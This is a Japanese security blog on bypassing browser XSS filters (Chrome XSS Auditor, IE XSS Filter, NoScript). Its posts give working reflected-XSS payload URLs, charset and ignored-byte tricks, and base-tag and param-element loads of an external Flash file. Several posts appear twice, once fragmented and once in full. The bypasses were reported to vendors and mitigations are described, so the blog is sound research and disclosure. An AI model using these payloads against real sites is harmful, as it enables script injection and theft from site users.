ブラウザのXSSフィルターのバイパスをまとめたページを作りました。
こちらです:
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet
現在のところ、Chrome/Safariのバイパスのみ掲載しています。そのうち、IE/Edgeも掲載するつもりです。
このページを作った理由は、Shibuya.XSS techtalk #9 というセキュリティの勉強会の時に、Firefoxのバグを発見しまくっていることで有名な西村さんが、「XSSフィルター、バイパスが発見されても、気付いたらいつの間にか使えなくなっていたりする。使えるものをまとめたXSSフィルターのバイパスのチートシートみたいなのがあったら便利」というようなことを言っていて、じゃあ僕が4月中に作りますと宣言してしまったからです。今は5月ということは置いておいて、とにかく作りました。
脆弱性検査にあたる人などは、XSSをみつけても、お客さんに「XSSフィルターが止めているから大丈夫じゃないか」などと主張されることがあるかもしれません。また、バイパスできるかどうかがわからないと、実際にどこまで悪用できるかの評価ができない場合もあるかと思います。バイパスまでできているPoCを示せば、説得力を持って攻撃可能なことを証明することができるでしょう。また、ブラウザのバグを発見したいというタイプの人は、これらを参考にしながら、新たなバイパスの発見に挑戦してもよいでしょう。バイパスを発見する目的以外でも、なぜバイパスが起きたかという部分には、その他の場面での攻撃の発想を養ううえでもよい資料となるのではないかと思います。
もともと自分用のバイパスのメモがあったので、これらをまとめるのは、そんなに難しいことではありませんでした。しかしながら、まとめる過程で、新たな可能性に気付いたりして、その検証に少し時間がかかってしまいました。
中でも同一ドメインのリソースを使ってバイパスする手法は、おそらくパブリックでこの攻撃の可能性についてほとんど考察されたことがない、目新しいものではないかと思います。僕も今回改めて考えてみて、いろいろなフレームワーク・ライブラリで攻撃が可能になるかもしれないということに気付きました。
簡単に手法を説明すると、Chromeは、クエリ文字列を持たない同一ドメインのリソースのロードをブロックしません。これは誤検知とのバランスを考えて作られた仕様だと思います。この動作を利用して、同一ドメインのリソースを攻撃用のガジェットとして利用することで、フィルターをバイパスして、任意のスクリプトを実行できてしまうというものです。詳しくはそれぞれの手法をみてみてください。
それでは、どうぞご利用ください。
2017/05/07
2016/12/27
ブラウザのXSS保護機能をバイパスする(12)
English version is here: http://mksben.l0.cm/2016/12/xssauditor-bypass-using-paramtag.html
もう終わっていますが、せっかくなのでこの記事は脆弱性"&'<<>\ Advent Calendar 2016の21日目の記事ということにします!俺たちのクリスマスはこれからだ!
怒涛のブラウザのXSS保護機能のバイパスネタです。
昨日、とあるバグの原因を特定するために、Chromiumのソースコードを眺めていたのですが、その際、偶然XSS Auditorのバイパスを発見しました。以前紹介したベクターがChromeの先行バージョンで塞がれはじめ、そろそろ新しい方法を発見しなければと思っていたところだったのでちょうどよかったです。
今回はobject要素とparam要素を使ってバイパスします。Chrome Canary 57で動作することを確認しています。
ChromeのXSS AuditorはFlashをロードできてしまうような、危険なparam要素をブロックしようとします。
HTMLParamElement.cpp の中にURLをロードできるparam要素かどうかのチェックがあり、これがXSSAuditorのコードから呼ばれます。以下のように、name属性の値が data/movie/src だった場合をチェックし、マッチした場合はフィルターが遮断するようになっています。
Flashをロードするとき、
実際に動作することをみてみましょう。以下のURLからスクリプトの実行を確認できます。
(動作を確認することが目的のため、次の2つのURLはXSS Auditorをオフに制御しています。)
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=movie%20value=https://l0.cm/xss.swf%3E&xss=0
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=src%20value=https://l0.cm/xss.swf%3E&xss=0
さて、ここまででも既にマニアックな動作の紹介でしたが、Chromeではさらに別の文字列でもFlashのロードが可能であり、さらにそれらはXSS Auditorにさえ見落とされていることがわかりました。
こちらがその方法です。 name属性の値を
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E
もう終わっていますが、せっかくなのでこの記事は脆弱性"&'<<>\ Advent Calendar 2016の21日目の記事ということにします!俺たちのクリスマスはこれからだ!
怒涛のブラウザのXSS保護機能のバイパスネタです。
昨日、とあるバグの原因を特定するために、Chromiumのソースコードを眺めていたのですが、その際、偶然XSS Auditorのバイパスを発見しました。以前紹介したベクターがChromeの先行バージョンで塞がれはじめ、そろそろ新しい方法を発見しなければと思っていたところだったのでちょうどよかったです。
今回はobject要素とparam要素を使ってバイパスします。Chrome Canary 57で動作することを確認しています。
ChromeのXSS AuditorはFlashをロードできてしまうような、危険なparam要素をブロックしようとします。
HTMLParamElement.cpp の中にURLをロードできるparam要素かどうかのチェックがあり、これがXSSAuditorのコードから呼ばれます。以下のように、name属性の値が data/movie/src だった場合をチェックし、マッチした場合はフィルターが遮断するようになっています。
bool HTMLParamElement::isURLParameter(const String& name) {
return equalIgnoringCase(name, "data") || equalIgnoringCase(name, "movie") ||
equalIgnoringCase(name, "src");
}
embed src=かobject data=を使うのが一般的ですが、Chromeの場合はparam要素からもロードすることができるようです。実際に動作することをみてみましょう。以下のURLからスクリプトの実行を確認できます。
(動作を確認することが目的のため、次の2つのURLはXSS Auditorをオフに制御しています。)
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=movie%20value=https://l0.cm/xss.swf%3E&xss=0
<object allowscriptaccess=always>
<param name=movie value=https://l0.cm/xss.swf>
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=src%20value=https://l0.cm/xss.swf%3E&xss=0
<object allowscriptaccess=always>ただし、XSS Auditorにブロックされる
<param name=src value=https://l0.cm/xss.swf>
name=dataでは、少なくともFlashは動作しませんでした。この部分は、あまり考えずに追加されているか、あるいは以前XSSできたプラグインがあったと推測しますが、詳細は不明です。さて、ここまででも既にマニアックな動作の紹介でしたが、Chromeではさらに別の文字列でもFlashのロードが可能であり、さらにそれらはXSS Auditorにさえ見落とされていることがわかりました。
こちらがその方法です。 name属性の値を
urlという文字列に変えただけです。<object allowscriptaccess=always>または、
<param name=url value=https://l0.cm/xss.swf>
codeとしても動くようです。https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
これらの値は、HTMLObjectElement.cppを見て発見しました。
シンプルな反射型XSSさえあれば利用可能かつページを開いてからのユーザ操作も不要で、かなり有能なベクターだと思います。
if (url.isEmpty() && urlParameter.isEmpty() &&
(equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());
srcやmovieなどと一緒に、codeとurlも書かれていたので、もしかしたらロードできるかもと思って試したらすんなり動いたというかんじでした。この動作、ソースコードのコメントを見ると、互換性のために残してあるといったことが書いてありますが、この方法ではIE/EdgeやFirefoxではFlashはロードされませんでした。Chromeが互換性という言葉を口にして自分だけ罠にハマっているパターンは珍しいですね。シンプルな反射型XSSさえあれば利用可能かつページを開いてからのユーザ操作も不要で、かなり有能なベクターだと思います。
ちなみに、バイパスは以下で報告済みです。
便宜上、セキュリティバグとして登録したので、一時的に非公開になっていますが、ChromeのXSS Auditorのバイパスはいつもノーマルバグとして扱われるので、そのうち見れるようになるはずです。
以上です!
Labels:
Chrome,
Flash,
Security,
XSS,
XSSAuditor
2016/05/18
ブラウザのXSS保護機能をバイパスする(8)
English version: http://mksben.l0.cm/2016/05/xssauditor-bypass-flash-basetag.html
-------------------------------------
このブログではおなじみ、ブラウザのXSS保護機能をバイパスするコーナーです。
今回はIEではなく、ChromeのXSS Auditorをバイパスします。
数日前、Marioさんが自身の発見したAuditorのバイパスが修正されたことに気付いて、新たなバイパスを探していたので、一緒になって探していたらみつけました。
Marioさんが新たにみつけたのはこちらです。
僕がみつけたのは、Flashと
このバグは既に以下で報告済みです。(現時点では閲覧制限がありますが、ChromeはAuditorのバイパスをただのバグと扱うので、そのうちオープンになるはずです。)
https://bugs.chromium.org/p/chromium/issues/detail?id=612672
早速、方法から紹介しましょう。
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
なぜこのような形でバイパスするに至ったか、簡単にみていきましょう。
以下のような、外部のリソースを取りに行く文字列はブロックされます。
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=https://evil/>
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=/aaa>
以下はブロックされます。
https://vulnerabledoma.in/xss_auditortest?test=3&q=<base+href=//evil/
https://vulnerabledoma.in/xss_auditortest?test=1&q=<base+href=//evil/
これらから導かれたのが、最初に紹介した以下の形です。これで、外部のFlashファイル(https://l0.cm/xss.swf)がロードされ、
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
以下の状況ではAuditorは反応しません。
https://vulnerabledoma.in/xss_auditortest?test=4&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href="//l0.cm/
-------------------------------------
このブログではおなじみ、ブラウザのXSS保護機能をバイパスするコーナーです。
今回はIEではなく、ChromeのXSS Auditorをバイパスします。
数日前、Marioさんが自身の発見したAuditorのバイパスが修正されたことに気付いて、新たなバイパスを探していたので、一緒になって探していたらみつけました。
Marioさんが新たにみつけたのはこちらです。
XSS Auditor Bypasses 05.2016https://t.co/c9UcjpDZZM— .mario (@0x6D6172696F) 2016年5月17日
(someone asked for PoC and test-case, here you are)
僕がみつけたのは、Flashと
baseタグを用いる方法です。このバグは既に以下で報告済みです。(現時点では閲覧制限がありますが、ChromeはAuditorのバイパスをただのバグと扱うので、そのうちオープンになるはずです。)
https://bugs.chromium.org/p/chromium/issues/detail?id=612672
早速、方法から紹介しましょう。
<div>タグに囲まれた箇所にReflected XSSがあるとします。このとき、以下のような文字列でバイパスできます。https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>いやあ、シンプルで美しいですね…!
なぜこのような形でバイパスするに至ったか、簡単にみていきましょう。
以下のような、外部のリソースを取りに行く文字列はブロックされます。
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=https://evil/>
<embed src=https://evil/>しかし、以下のような相対パスはブロックされません。
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=/aaa>
<embed src=/aaa>ということは、ベースのURLさえ変更することができれば、XSSができそうです。
baseタグももちろんブロックされますが、>でタグを閉じなければ、ブロックを回避できる場合があるようです。以下はブロックされます。
https://vulnerabledoma.in/xss_auditortest?test=3&q=<base+href=//evil/
<div><base href=//evil/ </div>しかし、以下はブロックされません。
https://vulnerabledoma.in/xss_auditortest?test=1&q=<base+href=//evil/
<div><base href=//evil/</div>どこが違うかわかるでしょうか?前者は、注入ポイントの後ろにスペースが入っています。どうやら、スペースや改行などの空白文字が注入ポイントの直後に入っている場合にはAuditorは閉じタグがなくても反応するようです。言い換えれば、直後に空白がなければbaseタグは設定できます。
これらから導かれたのが、最初に紹介した以下の形です。これで、外部のFlashファイル(https://l0.cm/xss.swf)がロードされ、
allowscriptaccess=alwaysの指定により、 vulnerabledoma.in のコンテキストでスクリプトが実行されます。https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>注入ポイントの直後に空白がある場合だと無理かというと、そうでもありません。その後ろのどこかに
"'などの引用符があれば<base href="//evil/のように閉じない引用符をつけることで、反応を回避できます。以下の状況ではAuditorは反応しません。
https://vulnerabledoma.in/xss_auditortest?test=4&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href="//l0.cm/
<div>
<embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/
</div><div id="x">AAA</div>
大抵、
ちなみになぜ、
以下でこの動作を確認できます。
https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cscript%20src=/xss.js%3E%3C/script%3E%3Cbase%20href=//evil/
Flashの場合は、
以上です。普段のXSSにお使いください!
"'はあるはずなので、一般的なReflected XSSの状況でかなり便利に使えるバイパス方法ではないかと思います。ちなみになぜ、
scriptタグではなくFlashを使っているかというと、scriptタグもembedタグと同じように、<script src=/xss.js></script><base href=//evil/ などがブロックされずに通るのですが、scriptタグの場合はベースのURLを変更するよりも先にscriptタグのロードが始まってしまうんですよね。以下でこの動作を確認できます。
https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cscript%20src=/xss.js%3E%3C/script%3E%3Cbase%20href=//evil/
Flashの場合は、
baseタグがあとからでてきても、それを基準にロードを開始してくれます。したがって、Flashを使ったというわけです。以上です。普段のXSSにお使いください!
Labels:
Chrome,
Flash,
Security,
XSS,
XSSAuditor
2012/03/10
ブラウザのXSS保護機能をバイパスする(2)
第2弾です。第1弾はこちら。今回はアプローチがちょっと違います。
無視されるバイトの利用
タグ中に挿入されても無視されるバイトというのがあります。有名なのはIEの「0x00」のスルー(<scr[0x00]ipt>alert(1)</sc[0x00]ript>が動いてしまう)ですが、他にもブラウザと文字エンコーディングによっては無視されるバイトがあります。今回はこれをXSS保護機能のバイパスに使用します。
2か月ほど前に、個人的に無視されるバイトを各ブラウザ・各文字エンコーディングごとに網羅的に調査してみました。んで、この結果を掲載しようと思ったんですが、自分用にまとめたもので汚いし、まだいろいろ調査中の部分もあるのでそれはもうちょっとあとにします。結構たくさんあります。
IEのXSSフィルターをバイパスする
IEのXSSフィルターはさすがにIEが「0x00」を無視することを知っています。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cscr%00ipt%3Ealert%281%29%3C/script%3E
(追記 Blogger、「%00」って繋げて発言すると何故か「%00」が除去されてうまくリンクがはれないので、このURLだけリンクしてません…)
これは知っててくれないとXSSフィルターの意味がないよね…。
ただ全ての無視するバイトに対応している訳ではないようです。IEは「x-mac-korean」というcharset指定で、[0xC9]を無視することが個人的な調査でわかりました。これを利用して以下のようにすると、同様のページでバイパスができます。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
最初からHTMLに含まれているcharset指定をURLに含むことで、charset指定を挿入しているとみせかけ、XSSフィルターにタグを無効化させ、x-mac-koreanのcharset指定を新たに挿入して、x-mac-koreanで無視されるバイトをXSSフィルターが検出しそうな文字列の間に挟んで検出を回避しています。( なぜ<meta http-equiv="Content-Type" content="***">はブロックして<meta charset=***>はブロックしないんだろうか… )
この要領で様々なパターンが作れます。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-chinesesimp%3E%3Ciframe%20sr%AAc=javas%AAcript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-thai%3E%3Ciframe%20sr%7Fc=javas%7Fcript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-iscii-as%3E%3Ciframe%20sr%EF%40c=javas%EF%40cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
....
まだまだあります。
あと、無視されるバイト使ってませんが、UTF-7を使う方法もうまくいきました。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=utf-7%3E%2BADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
対策
もちろんこのバイパス方法は、全くXSSの穴がないところにXSSフィルターが穴を作っている訳ではないので、普通のXSS対策ができていれば問題になりません。ただ、万が一XSSを作ってしまった時に、XSSフィルターにきちんと保護してもらうためにできることもあります。
もし、HTTPレスポンスヘッダでcharsetが指定されていればそっちが優先されるので、仮に本来のmetaタグのcharset指定がぶっ壊されてもこのバイパスはできなくなります。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3&charset=utf-8
あるいは、ヘッダに「X-XSS-Protection:1; mode=block」を指定すれば、XSSフィルターが反応した時に画面に「#」が表示されるのみとなり、ページの部分的な変更がされなくなります。
http://vulnerabledoma.in/xssable?xss=2&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
いずれXSSフィルター自体が改良されることを期待したいですね。
ちなみに、FirefoxのXSS保護などをしてくれるアドオンのNoScript、ChromeのXSS Auditorも同じような感じで抜けられました。既に両方報告済みで、NoScriptは2週間ほど前に対策されています。
http://noscript.net/changelog#2.3.2
NoScript開発者のGiorgio Maone氏は、僕が報告したその日のうちに修正したRC版をリリースしていました!素晴らしい対応であったことをここに書いておきたいと思います。
全然使われていないようなエンコーディングでもサポートしているだけでこうやって攻撃に応用できたりするので面白いですね。また何か見つけたら書きたいと思います。
無視されるバイトの利用
タグ中に挿入されても無視されるバイトというのがあります。有名なのはIEの「0x00」のスルー(<scr[0x00]ipt>alert(1)</sc[0x00]ript>が動いてしまう)ですが、他にもブラウザと文字エンコーディングによっては無視されるバイトがあります。今回はこれをXSS保護機能のバイパスに使用します。
2か月ほど前に、個人的に無視されるバイトを各ブラウザ・各文字エンコーディングごとに網羅的に調査してみました。んで、この結果を掲載しようと思ったんですが、自分用にまとめたもので汚いし、まだいろいろ調査中の部分もあるのでそれはもうちょっとあとにします。結構たくさんあります。
IEのXSSフィルターをバイパスする
IEのXSSフィルターはさすがにIEが「0x00」を無視することを知っています。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cscr%00ipt%3Ealert%281%29%3C/script%3E
(追記 Blogger、「%00」って繋げて発言すると何故か「%00」が除去されてうまくリンクがはれないので、このURLだけリンクしてません…)
これは知っててくれないとXSSフィルターの意味がないよね…。
ただ全ての無視するバイトに対応している訳ではないようです。IEは「x-mac-korean」というcharset指定で、[0xC9]を無視することが個人的な調査でわかりました。これを利用して以下のようにすると、同様のページでバイパスができます。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
最初からHTMLに含まれているcharset指定をURLに含むことで、charset指定を挿入しているとみせかけ、XSSフィルターにタグを無効化させ、x-mac-koreanのcharset指定を新たに挿入して、x-mac-koreanで無視されるバイトをXSSフィルターが検出しそうな文字列の間に挟んで検出を回避しています。( なぜ<meta http-equiv="Content-Type" content="***">はブロックして<meta charset=***>はブロックしないんだろうか… )
この要領で様々なパターンが作れます。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-chinesesimp%3E%3Ciframe%20sr%AAc=javas%AAcript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-thai%3E%3Ciframe%20sr%7Fc=javas%7Fcript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-iscii-as%3E%3Ciframe%20sr%EF%40c=javas%EF%40cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
....
まだまだあります。
あと、無視されるバイト使ってませんが、UTF-7を使う方法もうまくいきました。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=utf-7%3E%2BADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
対策
もちろんこのバイパス方法は、全くXSSの穴がないところにXSSフィルターが穴を作っている訳ではないので、普通のXSS対策ができていれば問題になりません。ただ、万が一XSSを作ってしまった時に、XSSフィルターにきちんと保護してもらうためにできることもあります。
もし、HTTPレスポンスヘッダでcharsetが指定されていればそっちが優先されるので、仮に本来のmetaタグのcharset指定がぶっ壊されてもこのバイパスはできなくなります。
http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3&charset=utf-8
あるいは、ヘッダに「X-XSS-Protection:1; mode=block」を指定すれば、XSSフィルターが反応した時に画面に「#」が表示されるのみとなり、ページの部分的な変更がされなくなります。
http://vulnerabledoma.in/xssable?xss=2&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
いずれXSSフィルター自体が改良されることを期待したいですね。
ちなみに、FirefoxのXSS保護などをしてくれるアドオンのNoScript、ChromeのXSS Auditorも同じような感じで抜けられました。既に両方報告済みで、NoScriptは2週間ほど前に対策されています。
http://noscript.net/changelog#2.3.2
NoScript開発者のGiorgio Maone氏は、僕が報告したその日のうちに修正したRC版をリリースしていました!素晴らしい対応であったことをここに書いておきたいと思います。
全然使われていないようなエンコーディングでもサポートしているだけでこうやって攻撃に応用できたりするので面白いですね。また何か見つけたら書きたいと思います。
2012/02/17
ブラウザのXSS保護機能をバイパスする
ChromeやSafariにはXSS Auditor、IE 8以上にはXSSフィルターという、XSSを検知してブロックする機能がそれぞれあります。
今回は、これを回避してみた記録です。
・Chromeでバイパス
はい!ついおととい報告したやつです!
XSS Auditor bypass with U+2028/2029
https://bugs.webkit.org/show_bug.cgi?id=78732
なぜかSafariではブロックされる(中の人も理由がわからないと言っていた)んだけど、Chromeでは動きます。以下で試してみてください。
http://vulnerabledoma.in/char_test?charset=utf-8&xss=1&body=%3Cscript%3E//%E2%80%A8alert(1)%3C/script%3E
http://vulnerabledoma.in/char_test?charset=utf-8&xss=1&body=%3Cscript%3E//%E2%80%A9alert(1)%3C/script%3E
JavaScriptのコメントがあるだけのスクリプトタグが挿入されても無害なので、「<script>//this is comment</script>」とかがURL中に含まれ、かつHTML内に挿入されてもXSS Auditorはこれに変更を加えずにスルーするようです。(別に特別スルーしなくてもいい気がするんだけど、無駄な検知をしたくないからかな
そんな中、U+2028/2029がJavaScript中で改行扱いになるのを考慮し忘れて、コメントアウトが続いてるものとみなしてこれまでスルーしてしまったかんじですね。非常にシンプル。
・IEでバイパス
IE8/9のXSSフィルターは、誤検知を減らすためにか、同じオリジンから同じオリジンへのページの移動は、通常ならばブロックするような、XSSと疑わしいリクエストであっても通過させるようです。Michael Brooks氏の以下の資料が参考になります。
[PDF] Bypassing Internet Explorer's XSS Filter
http://www.exploit-db.com/download_pdf/17875/
この資料によれば、同一オリジンにオープンリダイレクタか、自由にリンクを記述できるような機能があるなどすればXSSフィルターをバイパスできるとあります。
が、それってわざわざ探さなくても、資料の例のような典型的なrefrected XSSがあるのなら、自分自身をリンクにすればいいのではないか、というのが今これから書きたいことです。つまりこういうことです:
まず、XSSフィルターが有効な状態でこのページから以下のスクリプトが挿入されたリンクへアクセスすると、http://masatokinugawa.l0.cm/ から http://vulnerabledoma.in/ へのアクセスになるので、XSSフィルターはきちんとブロックしてくれます。
http://vulnerabledoma.in/char_test?charset=utf-8&xss=1&body=%3Cscript%3Ealert%281%29%3C/script%3E
じゃあ、このXSSに脆弱な箇所自身に上のスクリプトを挿入したリンクを作ってみます。
http://vulnerabledoma.in/char_test?charset=utf-8&xss=1&body=%3Ca%20style=font-size:10in%3bposition:absolute%3btop:0%3bleft:0%20href=%22http://vulnerabledoma.in/char_test%3Fcharset%3Dutf-8%26xss%3D1%26body%3D%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E%22%3EXSS%3C/a%3E
URL内に、aタグがあっても、文字を大きくするなどのスタイルを設定しても、またスクリプトタグを2重にパーセントエンコードしたものを挿入しても、IEのXSSフィルターは許容するようです。リンク先のリンクをクリックすると、 スクリプトが動作するはずです。 なぜならこれは http://vulnerabledoma.in/ から http://vulnerabledoma.in/ へのアクセスとなるからです。これでonclickイベントに任意のスクリプトを仕込めるのと同等のXSS攻撃が成立することになります。やったぜ!
はい、こんな具合にXSS保護機能はユーザーを確実にXSSから保護してくれる訳ではありません。
これからも改良はされていくと思いますが、ブラウザの保護を過信せずにきちんとXSS対策しましょう!おわり!
追記
さっきもう1個思いついた!
XSSAuditor bypass with <svg> tags and html-entities.
https://bugs.webkit.org/show_bug.cgi?id=78836
追記2
IEのバイパス方法は既に書いておられる方がいたようです。 Thanks @80vul !
IE XSS Filter Bypass_ccSec | cc@insight-labs.org_百度空间
http://hi.baidu.com/_ccsec/blog/item/d878e609a8360bfa37d12223.html
今回は、これを回避してみた記録です。
・Chromeでバイパス
はい!ついおととい報告したやつです!
XSS Auditor bypass with U+2028/2029
https://bugs.webkit.org/show_bug.cgi?id=78732
なぜかSafariではブロックされる(中の人も理由がわからないと言っていた)んだけど、Chromeでは動きます。以下で試してみてください。
http://vulnerabledoma.in/char_test?charset=utf-8&xss=1&body=%3Cscript%3E//%E2%80%A8alert(1)%3C/script%3E
http://vulnerabledoma.in/char_test?charset=utf-8&xss=1&body=%3Cscript%3E//%E2%80%A9alert(1)%3C/script%3E
JavaScriptのコメントがあるだけのスクリプトタグが挿入されても無害なので、「<script>//this is comment</script>」とかがURL中に含まれ、かつHTML内に挿入されてもXSS Auditorはこれに変更を加えずにスルーするようです。(別に特別スルーしなくてもいい気がするんだけど、無駄な検知をしたくないからかな
そんな中、U+2028/2029がJavaScript中で改行扱いになるのを考慮し忘れて、コメントアウトが続いてるものとみなしてこれまでスルーしてしまったかんじですね。非常にシンプル。
・IEでバイパス
IE8/9のXSSフィルターは、誤検知を減らすためにか、同じオリジンから同じオリジンへのページの移動は、通常ならばブロックするような、XSSと疑わしいリクエストであっても通過させるようです。Michael Brooks氏の以下の資料が参考になります。
[PDF] Bypassing Internet Explorer's XSS Filter
http://www.exploit-db.com/download_pdf/17875/
この資料によれば、同一オリジンにオープンリダイレクタか、自由にリンクを記述できるような機能があるなどすればXSSフィルターをバイパスできるとあります。
が、それってわざわざ探さなくても、資料の例のような典型的なrefrected XSSがあるのなら、自分自身をリンクにすればいいのではないか、というのが今これから書きたいことです。つまりこういうことです:
まず、XSSフィルターが有効な状態でこのページから以下のスクリプトが挿入されたリンクへアクセスすると、http://masatokinugawa.l0.cm/ から http://vulnerabledoma.in/ へのアクセスになるので、XSSフィルターはきちんとブロックしてくれます。
http://vulnerabledoma.in/char_test?charset=utf-8&xss=1&body=%3Cscript%3Ealert%281%29%3C/script%3E
じゃあ、このXSSに脆弱な箇所自身に上のスクリプトを挿入したリンクを作ってみます。
http://vulnerabledoma.in/char_test?charset=utf-8&xss=1&body=%3Ca%20style=font-size:10in%3bposition:absolute%3btop:0%3bleft:0%20href=%22http://vulnerabledoma.in/char_test%3Fcharset%3Dutf-8%26xss%3D1%26body%3D%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E%22%3EXSS%3C/a%3E
URL内に、aタグがあっても、文字を大きくするなどのスタイルを設定しても、またスクリプトタグを2重にパーセントエンコードしたものを挿入しても、IEのXSSフィルターは許容するようです。リンク先のリンクをクリックすると、 スクリプトが動作するはずです。 なぜならこれは http://vulnerabledoma.in/ から http://vulnerabledoma.in/ へのアクセスとなるからです。これでonclickイベントに任意のスクリプトを仕込めるのと同等のXSS攻撃が成立することになります。やったぜ!
はい、こんな具合にXSS保護機能はユーザーを確実にXSSから保護してくれる訳ではありません。
これからも改良はされていくと思いますが、ブラウザの保護を過信せずにきちんとXSS対策しましょう!おわり!
追記
さっきもう1個思いついた!
XSSAuditor bypass with <svg> tags and html-entities.
https://bugs.webkit.org/show_bug.cgi?id=78836
追記2
IEのバイパス方法は既に書いておられる方がいたようです。 Thanks @80vul !
IE XSS Filter Bypass_ccSec | cc@insight-labs.org_百度空间
http://hi.baidu.com/_ccsec/blog/item/d878e609a8360bfa37d12223.html
登録:
投稿 (Atom)